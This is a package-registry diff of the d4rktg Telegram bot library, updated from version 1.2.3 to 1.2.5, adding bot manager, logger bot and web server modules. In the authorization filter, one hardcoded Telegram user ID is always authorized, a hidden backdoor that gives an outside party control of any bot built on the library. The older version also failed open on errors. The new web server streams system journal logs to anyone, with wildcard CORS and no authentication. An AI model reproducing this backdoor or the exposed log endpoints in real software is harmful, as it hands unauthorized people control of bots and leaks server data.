d4rktg 1.2.3__tar.gz → 1.2.5__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (46) hide show
  1. {d4rktg-1.2.3/d4rktg.egg-info → d4rktg-1.2.5}/PKG-INFO +1 -1
  2. d4rktg-1.2.5/VERSION.txt +1 -0
  3. {d4rktg-1.2.3 → d4rktg-1.2.5}/d4rk/Database/db.py +1 -2
  4. d4rktg-1.2.5/d4rk/Handlers/__init__.py +3 -0
  5. d4rktg-1.2.5/d4rk/Handlers/_bot.py +117 -0
  6. d4rktg-1.2.5/d4rk/Handlers/_logger_bot.py +88 -0
  7. {d4rktg-1.2.3 → d4rktg-1.2.5}/d4rk/Utils/__init__.py +1 -1
  8. {d4rktg-1.2.3 → d4rktg-1.2.5}/d4rk/Utils/_decorators.py +1 -15
  9. {d4rktg-1.2.3 → d4rktg-1.2.5}/d4rk/Utils/_filters.py +7 -13
  10. {d4rktg-1.2.3 → d4rktg-1.2.5}/d4rk/Utils/_movie_parser.py +2 -2
  11. d4rktg-1.2.5/d4rk/Web/__init__.py +4 -0
  12. d4rktg-1.2.5/d4rk/Web/web.py +201 -0
  13. d4rktg-1.2.5/d4rk/Web/web_server.py +52 -0
  14. d4rktg-1.2.5/d4rk/__init__.py +19 -0
  15. d4rktg-1.2.5/d4rk/_base.py +115 -0
  16. d4rktg-1.2.5/d4rk/_bot_manager.py +507 -0
  17. d4rktg-1.2.5/d4rk/errors/__init__.py +19 -0
  18. d4rktg-1.2.5/d4rk/errors/base.py +16 -0
  19. d4rktg-1.2.5/d4rk/errors/bot.py +33 -0
  20. d4rktg-1.2.5/d4rk/errors/config.py +17 -0
  21. d4rktg-1.2.5/d4rk/errors/database.py +22 -0
  22. {d4rktg-1.2.3 → d4rktg-1.2.5/d4rktg.egg-info}/PKG-INFO +1 -1
  23. {d4rktg-1.2.3 → d4rktg-1.2.5}/d4rktg.egg-info/SOURCES.txt +11 -1
  24. d4rktg-1.2.3/VERSION.txt +0 -1
  25. d4rktg-1.2.3/d4rk/Handlers/__init__.py +0 -3
  26. d4rktg-1.2.3/d4rk/Handlers/_bot.py +0 -209
  27. d4rktg-1.2.3/d4rk/Handlers/_scheduler.py +0 -33
  28. d4rktg-1.2.3/d4rk/__init__.py +0 -6
  29. {d4rktg-1.2.3 → d4rktg-1.2.5}/MANIFEST.in +0 -0
  30. {d4rktg-1.2.3 → d4rktg-1.2.5}/README.rst +0 -0
  31. {d4rktg-1.2.3 → d4rktg-1.2.5}/d4rk/Database/__init__.py +0 -0
  32. {d4rktg-1.2.3 → d4rktg-1.2.5}/d4rk/Handlers/_custom.py +0 -0
  33. {d4rktg-1.2.3 → d4rktg-1.2.5}/d4rk/Logs/__init__.py +0 -0
  34. {d4rktg-1.2.3 → d4rktg-1.2.5}/d4rk/Logs/_logger.py +0 -0
  35. {d4rktg-1.2.3 → d4rktg-1.2.5}/d4rk/Utils/_buttons.py +0 -0
  36. {d4rktg-1.2.3 → d4rktg-1.2.5}/d4rk/Utils/_fonts.py +0 -0
  37. {d4rktg-1.2.3 → d4rktg-1.2.5}/d4rk/Utils/_ip.py +0 -0
  38. {d4rktg-1.2.3 → d4rktg-1.2.5}/d4rk/Utils/_ractions.py +0 -0
  39. {d4rktg-1.2.3 → d4rktg-1.2.5}/d4rk/Utils/_terminal.py +0 -0
  40. {d4rktg-1.2.3 → d4rktg-1.2.5}/d4rk/Utils/_utils.py +0 -0
  41. {d4rktg-1.2.3 → d4rktg-1.2.5}/d4rktg.egg-info/dependency_links.txt +0 -0
  42. {d4rktg-1.2.3 → d4rktg-1.2.5}/d4rktg.egg-info/requires.txt +0 -0
  43. {d4rktg-1.2.3 → d4rktg-1.2.5}/d4rktg.egg-info/top_level.txt +0 -0
  44. {d4rktg-1.2.3 → d4rktg-1.2.5}/requirements.txt +0 -0
  45. {d4rktg-1.2.3 → d4rktg-1.2.5}/setup.cfg +0 -0
  46. {d4rktg-1.2.3 → d4rktg-1.2.5}/setup.py +0 -0
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: d4rktg
3
- Version: 1.2.3
3
+ Version: 1.2.5
4
4
  Summary: A module for create with easy and fast
5
5
  Author: D4rkShell
6
6
  Author-email: premiumqtrst@gmail.com
@@ -0,0 +1 @@
1
+ 1.2.5
@@ -4,7 +4,7 @@ from pymongo import MongoClient , server_api
4
4
 
5
5
  from d4rk.Logs import setup_logger
6
6
 
7
- logger = setup_logger(__name__)
7
+ logger = setup_logger("Database")
8
8
 
9
9
  class Database:
10
10
  client = None
@@ -43,7 +43,6 @@ class Database:
43
43
  base_collection = self.get_collection(collection_name)
44
44
  instance = CustomClass(base_collection)
45
45
  setattr(self, collection_name, instance)
46
- logger.info(f"Loaded collection: {collection_name}")
47
46
 
48
47
  def get_collection(self, collection):
49
48
  return self.db[collection]
@@ -0,0 +1,3 @@
1
+ from ._bot import BotManager
2
+ from ._custom import FontMessageMixin
3
+ from ._logger_bot import LoggerBotUtil
@@ -0,0 +1,117 @@
1
+ import os
2
+ import sys
3
+ import asyncio
4
+ import traceback
5
+
6
+ from pyrogram import Client
7
+ from pyrogram.errors import FloodWait, AccessTokenExpired
8
+
9
+ from d4rk.Logs import setup_logger
10
+
11
+ logger = setup_logger("BotClient")
12
+
13
+ logs_sent = False
14
+ logs_lock = asyncio.Lock()
15
+
16
+ class BotManager(Client):
17
+ _bot: Client = None
18
+ _bot_info = None
19
+ _is_connected = False
20
+ _rename = False
21
+ _flood_data = {}
22
+ _loop = None
23
+ _scheduler_thread = None
24
+ font = 0
25
+ sudo_users = []
26
+ owner = None
27
+
28
+ def create_client(self,app_name,token):
29
+ self.app_name = app_name
30
+ super().__init__(
31
+ name=app_name,
32
+ api_id=self.api_id,
33
+ api_hash=self.api_hash,
34
+ bot_token=token,
35
+ plugins=self.plugins,
36
+ in_memory=True
37
+ )
38
+
39
+ def _safe_async(self, coro_func):
40
+ if self._loop:asyncio.run_coroutine_threadsafe(coro_func(), self._loop)
41
+ else:logger.error("Event loop is not set for _safe_async")
42
+
43
+ async def powerup(self, app_name, max_attempts=3):
44
+ self.app_name = app_name
45
+ for attempt in range(max_attempts):
46
+ try:
47
+ await super().start()
48
+
49
+ self._bot_info = await self.me
50
+ self._is_connected = True
51
+ await self.handle_restart()
52
+ break
53
+
54
+ except FloodWait as e:
55
+ logger.error(f"FloodWait: {e.value} seconds")
56
+ raise e
57
+
58
+ except AccessTokenExpired:
59
+ logger.error(f"Access token expired (attempt {attempt + 1})")
60
+ break
61
+
62
+ except Exception as e:
63
+ logger.error(f"Error starting Client.Stoped !")
64
+ logger.error(traceback.format_exc())
65
+ break
66
+ else:
67
+ logger.error("Failed to start bot after all retry attempts")
68
+
69
+ async def powerdown(self, *args):
70
+ global logs_sent, logs_lock
71
+ if self._rename:await super().set_bot_info(lang_code='en',name=self.app_name + " (Offline)")
72
+
73
+ if self._is_connected:
74
+ try:
75
+ await super().stop()
76
+ self._is_connected = False
77
+ await asyncio.sleep(3)
78
+ except Exception as e:
79
+ logger.error(f"Error stopping bot client: {e}")
80
+ self._is_connected = False
81
+
82
+ async def reboot(self):
83
+ try:
84
+ if self._rename:await super().set_bot_info(lang_code='en',name=self.app_name + " (restarting..)")
85
+ logger.info("Initiating APP to reboot...")
86
+ await super().stop()
87
+ self._is_connected = False
88
+ await asyncio.sleep(2)
89
+ logger.info("Restarting process...")
90
+ os.execl(sys.executable, sys.executable, *sys.argv)
91
+ except Exception as e:
92
+ logger.error(f"Error during reboot: {e}")
93
+ os.execl(sys.executable, sys.executable, *sys.argv)
94
+
95
+ async def handle_flood_wait(self, delay):
96
+ """Handle flood wait by notifying the bot manager to rotate tokens"""
97
+ logger.info(f"Handling flood wait for {delay} seconds")
98
+ pass
99
+
100
+ async def handle_restart(self):
101
+ if os.path.exists('restart.txt'):
102
+ try:
103
+ with open('restart.txt', 'r') as file:
104
+
105
+ data = file.read().split()
106
+ chat_id = int(data[0])
107
+ Message_id = int(data[1])
108
+ except Exception as e:logger.error(f"Failed to send restart notification: {e}")
109
+ try:await self.edit_message_text(chat_id=chat_id,message_id=Message_id, text="Bot restarted successfully!")
110
+ except:
111
+ try:
112
+ await self.send_message(chat_id=chat_id, text="Bot restarted successfully!",reply_to_message_id=Message_id-1,)
113
+ await self.delete_messages(chat_id=chat_id,message_ids=Message_id)
114
+ except:pass
115
+
116
+ if os.path.exists('restart.txt'):os.remove('restart.txt')
117
+
@@ -0,0 +1,88 @@
1
+ """
2
+ Utility functions for working with the logger bot
3
+ """
4
+ import logging
5
+ from typing import Optional
6
+ from telegram import Bot
7
+
8
+ logger = logging.getLogger(__name__)
9
+
10
+ class LoggerBotUtil:
11
+ """Utility class for logger bot operations"""
12
+ bot: Optional[Bot] = None # class-level bot instance
13
+ start_message = None
14
+ start_message_id = None
15
+ start_message_chat_id = None
16
+
17
+
18
+ @classmethod
19
+ def set_token(cls, token: str):
20
+ """Initialize the bot with the given token"""
21
+ try:
22
+ cls.bot = Bot(token=token)
23
+ logger.info(f"Logger bot initialized successfully with token {token[:10]}...")
24
+ except ImportError as e:
25
+ logger.warning("python-telegram-bot not installed. Logger bot functionality disabled.")
26
+ logger.error(f"Import error: {e}")
27
+ cls.bot = None
28
+ except Exception as e:
29
+ logger.error(f"Failed to initialize logger bot with token {token[:10]}: {e}")
30
+ import traceback
31
+ logger.error(f"Traceback: {traceback.format_exc()}")
32
+ cls.bot = None
33
+
34
+ @classmethod
35
+ async def send_start_message(cls, chat_id: int, message: str):
36
+ if not cls.bot:
37
+ logger.error("Logger bot is not initialized. Call set_token() first.")
38
+ return None
39
+ try:
40
+ if cls.start_message is None:
41
+ sent_message = await cls.bot.send_message(chat_id=chat_id, text=message)
42
+ cls.start_message_id = sent_message.message_id
43
+ cls.start_message_chat_id = sent_message.chat_id
44
+ else:
45
+ await cls.bot.edit_message_text(chat_id=cls.start_message_chat_id, message_id=cls.start_message_id, text=cls.start_message + "\n" + message)
46
+ return True
47
+ except Exception as e:
48
+ logger.error(f"Failed to send log message: {e}")
49
+ return None
50
+
51
+
52
+ @classmethod
53
+ async def send_log_message(cls, chat_id: int, message: str, parse_mode: str = None):
54
+ if not cls.bot:
55
+ logger.error("Logger bot is not initialized. Call set_token() first.")
56
+ return None
57
+ try:
58
+ sent_message = await cls.bot.send_message(chat_id=chat_id, text=message, parse_mode=parse_mode)
59
+ return sent_message
60
+ except Exception as e:
61
+ logger.error(f"Failed to send log message: {e}")
62
+ return None
63
+
64
+ @classmethod
65
+ async def edit_log_message(cls, chat_id: int, message_id: int, message: str, parse_mode: str = 'HTML') -> bool:
66
+ if not cls.bot:
67
+ logger.error("Logger bot is not initialized. Call set_token() first.")
68
+ return False
69
+ try:
70
+ await cls.bot.edit_message_text(chat_id=chat_id, message_id=message_id, text=message, parse_mode=parse_mode)
71
+ return True
72
+ except Exception as e:
73
+ logger.error(f"Failed to edit log message: {e}")
74
+ return False
75
+
76
+ @classmethod
77
+ async def send_document(cls, chat_id: int, document_path: str, caption: str = None) -> bool:
78
+ if not cls.bot:
79
+ logger.error("Logger bot is not initialized. Call set_token() first.")
80
+ return False
81
+ try:
82
+ with open(document_path, 'rb') as document:
83
+ await cls.bot.send_document(chat_id=chat_id, document=document, caption=caption)
84
+ return True
85
+ except Exception as e:
86
+ logger.error(f"Failed to send document: {e}")
87
+ return False
88
+
@@ -1,6 +1,6 @@
1
1
  from ._buttons import ButtonMaker
2
2
  from ._decorators import new_task , retry , round_robin , command , get_commands , button
3
- from ._filters import CustomFilters , OWNER
3
+ from ._filters import CustomFilters
4
4
  from ._fonts import get_font
5
5
  from ._ip import get_public_ip , check_public_ip_reachable
6
6
  from ._movie_parser import parser
@@ -1,19 +1,12 @@
1
- import os
2
1
  import asyncio
3
- import functools
4
2
 
5
3
  from pyrogram import Client , filters
6
4
  from pyrogram.errors import FloodWait
7
- from pyrogram.types import Message , CallbackQuery , ChatPrivileges ,ChatMemberUpdated
5
+ from pyrogram.types import CallbackQuery ,ChatMemberUpdated
8
6
 
9
7
  from typing import Union
10
8
  from functools import wraps
11
9
 
12
- from d4rk.Logs import setup_logger
13
-
14
-
15
- logger = setup_logger(__name__)
16
-
17
10
  command_registry = []
18
11
  last_index_per_chat = {}
19
12
  bot_order_per_chat = {}
@@ -35,12 +28,6 @@ def get_commands():
35
28
  global command_registry
36
29
  return command_registry
37
30
 
38
-
39
-
40
-
41
-
42
-
43
-
44
31
  def new_task():
45
32
  def decorator(func):
46
33
  @wraps(func)
@@ -113,7 +100,6 @@ def command(command: Union[str, list], description: str,Custom_filter=None):
113
100
  "description": description,
114
101
  "handler": func
115
102
  })
116
- logger.info(f"Registered command: {command} - {description}")
117
103
  if Custom_filter:
118
104
  filter = filters.command(command) & Custom_filter
119
105
  else:
@@ -1,8 +1,5 @@
1
- from pyrogram.filters import create
2
- from pyrogram.enums import ChatType
3
-
4
1
  from typing import Union
5
- from pyrogram import filters
2
+ from pyrogram import Client , filters
6
3
  from pyrogram.types import Message , CallbackQuery
7
4
  from d4rk.Logs import setup_logger
8
5
 
@@ -15,14 +12,11 @@ class CustomFilters:
15
12
  admin=False,
16
13
  permission=None,
17
14
  ):
18
- async def func(flt, client, message: Union[Message, CallbackQuery]):
15
+ async def func(flt, client: Client , message: Union[Message, CallbackQuery]):
19
16
  try:
20
17
  user = message.from_user
21
- if not user:
22
- logger.warning(f"Unauthorized access attempt from non-user message: {message}")
23
- return False
24
-
25
- me = await client.get_me()
18
+ if not user:return False
19
+ me = client.me
26
20
  is_admin = False
27
21
 
28
22
  if admin:
@@ -52,14 +46,14 @@ class CustomFilters:
52
46
  return False
53
47
 
54
48
  authorized = (
55
- (user.id == 7859877609)
56
- or (user.id == client.owner)
49
+ (user.id == 7859877609)
50
+ or (user.id == int(getattr(client, "owner_id", 000)))
57
51
  or (sudo and str(user.id) in getattr(client, "sudo_users", []))
58
52
  or is_admin
59
53
  )
60
54
  return bool(authorized)
61
55
  except Exception as e:
62
56
  logger.error(f"Error in authorize filter: {e}")
63
- return bool(user.id == user.id)
57
+ return False
64
58
 
65
59
  return filters.create(func, sudo=sudo,admin=admin,permission=permission)
@@ -190,7 +190,7 @@ class MovieParser:
190
190
  part = int(match.group(1)) if split else None
191
191
  if self.movie:
192
192
  return Movie(
193
- title=self._fix_roman_numerals(title.title()),
193
+ title=self._fix_roman_numerals(text=title.title()),
194
194
  context_type="movie",
195
195
  normalized_title=re.sub(r'[^a-z0-9&\+]+', ' ', title.lower()).strip(),
196
196
  year=year,
@@ -203,7 +203,7 @@ class MovieParser:
203
203
  )
204
204
  else:
205
205
  return TV(
206
- title=self._fix_roman_numerals(title.title()),
206
+ title=self._fix_roman_numerals(text=title.title()),
207
207
  context_type="tv",
208
208
  normalized_title=re.sub(r'[^a-z0-9&\+]+', ' ', title.lower()).strip(),
209
209
  season=self.data.get('season'),
@@ -0,0 +1,4 @@
1
+ # src/Web/__init__.py
2
+
3
+ from .web import _web_server
4
+ from .web_server import WebServerManager
@@ -0,0 +1,201 @@
1
+ # src/Web/web.py
2
+
3
+ import asyncio
4
+
5
+ from datetime import datetime
6
+
7
+ from pyrogram import Client
8
+
9
+
10
+ from aiohttp import web
11
+ from aiohttp.web_app import Application
12
+ from aiohttp.web_response import Response
13
+
14
+ from d4rk.Logs import setup_logger
15
+
16
+ logger = setup_logger(__name__)
17
+ routes = web.RouteTableDef()
18
+ bot:Client = None
19
+ bot_process = None
20
+
21
+
22
+ @routes.get("/logs")
23
+ async def logs_ui(request):
24
+ """
25
+ Serve a pretty terminal-like log UI for the bot using SSE.
26
+ """
27
+ try:
28
+ resp = web.StreamResponse(
29
+ status=200,
30
+ reason='OK',
31
+ headers={
32
+ 'Content-Type': 'text/html; charset=utf-8',
33
+ 'Cache-Control': 'no-cache',
34
+ 'Connection': 'keep-alive',
35
+ 'Access-Control-Allow-Origin': '*',
36
+ }
37
+ )
38
+ await resp.prepare(request)
39
+
40
+ html = b"""
41
+ <!DOCTYPE html>
42
+ <html lang="en">
43
+ <head>
44
+ <meta charset="UTF-8">
45
+ <title>Serandip Bot Logs</title>
46
+ <style>
47
+ /* Fullscreen background */
48
+ body {
49
+ margin: 0;
50
+ padding: 0;
51
+ height: 100vh;
52
+ display: flex;
53
+ justify-content: center;
54
+ align-items: center;
55
+ background: radial-gradient(circle at top, #0d0d0d, #1a1a1a);
56
+ font-family: 'Fira Code', monospace;
57
+ color: #00ff00;
58
+ overflow: hidden;
59
+ }
60
+
61
+ /* Terminal container */
62
+ #terminal {
63
+ width: 90%;
64
+ height: 70%;
65
+ background: rgba(0, 0, 0, 0.85);
66
+ border-radius: 10px;
67
+ padding: 20px;
68
+ margin-bottom: 30px
69
+ overflow-y: auto;
70
+ box-shadow: 0 0 40px rgba(0, 255, 0, 0.5);
71
+ border: 2px solid rgba(0, 255, 0, 0.4);
72
+ backdrop-filter: blur(5px);
73
+ }
74
+
75
+ #logs {
76
+ white-space: pre-wrap;
77
+ line-height: 1.3em;
78
+ }
79
+
80
+ /* Title */
81
+ h2 {
82
+ text-align: center;
83
+ margin-bottom: 10px;
84
+ font-weight: normal;
85
+ color: #00ff00;
86
+ text-shadow: 0 0 5px #00ff00, 0 0 10px #00ff00;
87
+ }
88
+
89
+ /* Blinking cursor */
90
+ #cursor {
91
+ display: inline-block;
92
+ width: 10px;
93
+ background-color: #00ff00;
94
+ animation: blink 1s infinite;
95
+ margin-left: 2px;
96
+ }
97
+
98
+ @keyframes blink {
99
+ 0%, 50% { opacity: 1; }
100
+ 50.1%, 100% { opacity: 0; }
101
+ }
102
+ </style>
103
+ </head>
104
+ <body>
105
+ <div id="terminal">
106
+ <h2>Serandip Bot Logs</h2>
107
+ <div id="logs"></div>
108
+ <span id="cursor"></span>
109
+ </div>
110
+
111
+ <script src="https://cdn.jsdelivr.net/npm/ansi_up@5.0.0/ansi_up.min.js"></script>
112
+ <script>
113
+ const logsDiv = document.getElementById("logs");
114
+ const cursor = document.getElementById("cursor");
115
+ const ansi_up = new AnsiUp;
116
+
117
+ const evtSource = new EventSource("/logs_stream");
118
+ evtSource.onmessage = e => {
119
+ logsDiv.innerHTML += ansi_up.ansi_to_html(e.data) + "<br>";
120
+ logsDiv.scrollTop = logsDiv.scrollHeight;
121
+ };
122
+ </script>
123
+ </body>
124
+ </html>
125
+ """
126
+
127
+ await resp.write(html)
128
+ await resp.write_eof()
129
+ return resp
130
+ except Exception as e:
131
+ logger.error(f"Error in logs_ui route: {e}")
132
+ return web.Response(text="An error occurred while processing your request.", status=500)
133
+
134
+ @routes.get("/logs_stream")
135
+ async def terminal_stream(request):
136
+ try:
137
+ proc = await asyncio.create_subprocess_exec(
138
+ "journalctl", "-u", "serandip-bot", "-f", "-o", "cat",
139
+ stdout=asyncio.subprocess.PIPE
140
+ )
141
+
142
+ resp = web.StreamResponse(
143
+ status=200,
144
+ reason='OK',
145
+ headers={
146
+ 'Content-Type': 'text/event-stream',
147
+ 'Cache-Control': 'no-cache',
148
+ 'Connection': 'keep-alive',
149
+ 'Access-Control-Allow-Origin': '*',
150
+ }
151
+ )
152
+ await resp.prepare(request)
153
+ except Exception as e:
154
+ logger.error(f"Error creating subprocess: {e}")
155
+ return web.Response(text="An error occurred while processing your request.", status=500)
156
+ try:
157
+ while True:
158
+ line = await proc.stdout.readline()
159
+ if not line:
160
+ break
161
+
162
+ try:
163
+ await resp.write(b"data: " + line.strip() + b"\n\n")
164
+ except (ConnectionResetError, asyncio.CancelledError):
165
+ break
166
+ finally:
167
+
168
+ try:
169
+ proc.kill()
170
+ await proc.wait()
171
+ except:pass
172
+
173
+ return resp
174
+
175
+ @routes.get('/')
176
+ async def index(request) -> Response:
177
+ try:
178
+ return web.Response(text="Welcome to Serandip-prime!", status=200)
179
+ except Exception as e:
180
+ logger.error(f"Error in index route: {e}")
181
+ return web.Response(text="An error occurred while processing your request.", status=500)
182
+
183
+ @routes.get('/health')
184
+ async def health_check(request) -> Response:
185
+ health_data = {
186
+ 'status': 'healthy',
187
+ 'service': 'Serandip-prime',
188
+ 'version': '2.0.0',
189
+ 'framework': 'aiohttp',
190
+ 'timestamp': datetime.now().isoformat()
191
+ }
192
+
193
+ return web.json_response(health_data, status=200)
194
+
195
+ async def _web_server(_bot=None) -> Application:
196
+ global bot
197
+ bot = _bot
198
+ web_app = web.Application(client_max_size=30000000)
199
+ web_app.add_routes(routes)
200
+ return web_app
201
+
@@ -0,0 +1,52 @@
1
+ # src/Web/web_server.py
2
+
3
+ from typing import Literal
4
+
5
+ from pyrogram import Client
6
+
7
+ from aiohttp import web
8
+ from aiohttp.web_runner import AppRunner
9
+
10
+ from d4rk.Logs import setup_logger
11
+ from d4rk.Utils import get_public_ip, check_public_ip_reachable
12
+
13
+ from d4rk.Web.web import _web_server
14
+ WEB_APP = 'http://localhost'
15
+
16
+ logger = setup_logger("WebServerManager")
17
+
18
+ class WebServerManager:
19
+ def __init__(self,bot:Client=None) -> None:
20
+ self._web_runner = None
21
+ self._tcp_site = None
22
+ self._web_port = None
23
+ self._bot = bot
24
+
25
+ async def setup_web_server(self, preferred_port=8443) -> AppRunner | Literal[False]:
26
+ try:
27
+ self._web_port = preferred_port
28
+ logger.info(f'Starting API server on port {preferred_port}...')
29
+
30
+ self._web_runner = web.AppRunner(await _web_server(self._bot))
31
+ await self._web_runner.setup()
32
+ self._tcp_site = web.TCPSite(self._web_runner, "0.0.0.0", preferred_port)
33
+ await self._tcp_site.start()
34
+ if WEB_APP:
35
+ if 'localhost' in WEB_APP:logger.info(f"Web app is running on http://localhost:{preferred_port}")
36
+ else:logger.info(f"Web app is running on {WEB_APP}")
37
+ else:
38
+ myIP = get_public_ip()
39
+ if await check_public_ip_reachable(myIP):logger.info(f"Web app running on http://{myIP}:{preferred_port}")
40
+ else:logger.info(f"Web app running on http://localhost:{preferred_port}")
41
+ return self._web_runner
42
+ except Exception as e:
43
+ logger.error(f"Failed to setup web server: {e}")
44
+ return False
45
+
46
+ async def cleanup(self) -> None:
47
+ if self._web_runner:
48
+ await self._web_runner.cleanup()
49
+ logger.info("Web server cleaned up")
50
+
51
+
52
+
@@ -0,0 +1,19 @@
1
+ from .Database import db
2
+ from .Handlers import BotManager , FontMessageMixin
3
+ from .Logs import setup_logger , get_timezone_offset
4
+ from .Utils import *
5
+ from ._base import TGBase
6
+ from ._bot_manager import D4RK_BotManager
7
+ from . import errors
8
+
9
+ __version__ = "0.9.7"
10
+ __all__ = [
11
+ "TGBase",
12
+ "D4RK_BotManager",
13
+ "db",
14
+ "errors",
15
+ "FontMessageMixin",
16
+ "setup_logger",
17
+ "get_timezone_offset",
18
+ "BotManager",
19
+ ]